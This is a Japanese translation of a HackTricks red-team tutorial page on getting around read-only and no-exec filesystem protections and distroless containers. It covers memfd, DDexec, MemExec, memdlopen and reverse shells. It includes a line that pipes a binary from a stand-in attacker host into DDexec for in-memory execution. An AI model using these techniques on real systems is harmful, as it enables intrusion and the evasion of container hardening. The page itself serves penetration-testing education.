hacktricks/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless
2023-08-23 12:49:07 +00:00
..
ddexec.md Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti 2023-08-23 12:49:07 +00:00
README.md Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti 2023-08-23 12:49:07 +00:00

FS保護のバイパス読み取り専用 / 実行不可 / Distroless

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

読み取り専用 / 実行不可のシナリオ

読み取り専用roファイルシステム保護が、特にコンテナ内でLinuxマシンによく見られるようになっています。これは、securitycontextで**readOnlyRootFilesystem: true**を設定するだけで、roファイルシステムでコンテナを実行できるためです。

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

しかし、ファイルシステムがroとしてマウントされていても、/dev/shmは書き込み可能なままですので、ディスクに何も書き込めないわけではありません。ただし、このフォルダは実行不可の保護でマウントされるため、ここにバイナリをダウンロードしても実行できません

{% hint style="warning" %} レッドチームの観点からすると、これにより、システムに既に存在しないバイナリ(バックドアやkubectlのようなエンティティ)をダウンロードして実行するのが困難になります。 {% endhint %}

最も簡単なバイパス:スクリプト

バイナリと言及しましたが、インタプリタがマシン内にある限り、シェルスクリプトshが存在する場合)やPythonスクリプトpythonがインストールされている場合)など、任意のスクリプトを実行できます。

ただし、これだけではバイナリバックドアや他のバイナリツールを実行するのには十分ではありません。

メモリバイパス

ファイルシステムが実行を許可していない場合にバイナリを実行したい場合、最も簡単な方法は、メモリから実行することです。なぜなら、保護はメモリ内では適用されないからです。

FD + execシスコールバイパス

PythonPerlRubyなどの強力なスクリプトエンジンがマシン内にある場合、バイナリをメモリにダウンロードして実行することができます。これは、メモリファイルディスクリプタ(create_memfdシスコール)に保存し、これらの保護によって保護されないためです。その後、execシスコールを呼び出して、ファイルとして実行するためにfdを指定します。

これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、バイナリを圧縮してb64エンコードし、create_memfdシスコールを呼び出して作成されたfdデコードおよび展開するための指示を含む指定された言語のスクリプトを生成します。その後、execシスコールを呼び出して実行します。

{% hint style="warning" %} これは、PHPやNodeなどの他のスクリプト言語では機能しません。これらの言語では、スクリプトから生のシスコールを呼び出すデフォルトの方法がないため、バイナリを保存するためのメモリfdを作成するためにcreate_memfdを呼び出すことはできません。

また、/dev/shm内のファイルを持つ通常のfdを作成しても機能しません。実行不可の保護が適用されるため、実行することは許可されません。 {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExecは、**/proc/self/mem**を上書きすることで、自分自身のプロセスのメモリを変更する技術です。

したがって、プロセスが実行しているアセンブリコードを制御することで、シェルコードを書き込み、プロセスを任意のコードを実行するように「変異」させることができます。

{% hint style="success" %} DDexec / EverythingExecを使用すると、メモリから自分自身のシェルコードまたは任意のバイナリロードして実行できます。 {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

詳細な情報については、Githubを参照するか、以下のリンクを参照してください

{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}

MemExec

Memexecは、DDexecの自然な次のステップです。これはDDexecシェルコードをデーモン化したものであり、異なるバイナリを実行するためにDDexecを再起動する必要はありません。代わりに、DDexecのテクニックを使用してmemexecシェルコードを実行し、このデーモンと通信して新しいバイナリをロードして実行することができます。

https://github.com/arget13/memexec/blob/main/a.phpには、memexecを使用してPHPリバースシェルからバイナリを実行する例があります。

Memdlopen

DDexecと同様の目的で、memdlopenテクニックは、メモリにバイナリをロードして後で実行するためのより簡単な方法を提供します。これにより、依存関係を持つバイナリをロードすることも可能になります。

Distroless Bypass

Distrolessとは

Distrolessコンテナには、ライブラリやランタイムの依存関係など、特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネントのみが含まれており、パッケージマネージャーやシェル、システムユーティリティなどのより大きなコンポーネントは除外されています。

Distrolessコンテナの目標は、不要なコンポーネントを排除することにより、コンテナの攻撃面を減らし、悪用できる脆弱性の数を最小限に抑えることです。

リバースシェル

Distrolessコンテナでは、通常のシェルを取得するためのshbashなどは見つからないかもしれません。また、通常システムで実行するlswhoamiidなどのバイナリも見つかりません。

{% hint style="warning" %} したがって、通常どおりにリバースシェルを取得したりシステムを列挙したりすることはできません。 {% endhint %}

ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされており、したがってPythonリバースシェルを取得することができます。Nodeを実行している場合はNodeリバースシェルを取得できますし、ほとんどのスクリプト言語でも同様です。

{% hint style="success" %} スクリプト言語を使用することで、言語の機能を利用してシステムを列挙することができます。 {% endhint %}

読み取り専用/実行不可の保護がない場合、リバースシェルを悪用してバイナリをファイルシステムに書き込み実行することができます。

{% hint style="success" %} ただし、この種のコンテナでは通常これらの保護が存在するため、以前のメモリ実行技術を使用してこれらの保護をバイパスすることができます。 {% endhint %}

https://github.com/carlospolop/DistrolessRCEには、スクリプト言語のリバースシェルを取得し、メモリからバイナリを実行するためのいくつかのRCE脆弱性を悪用する例があります。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥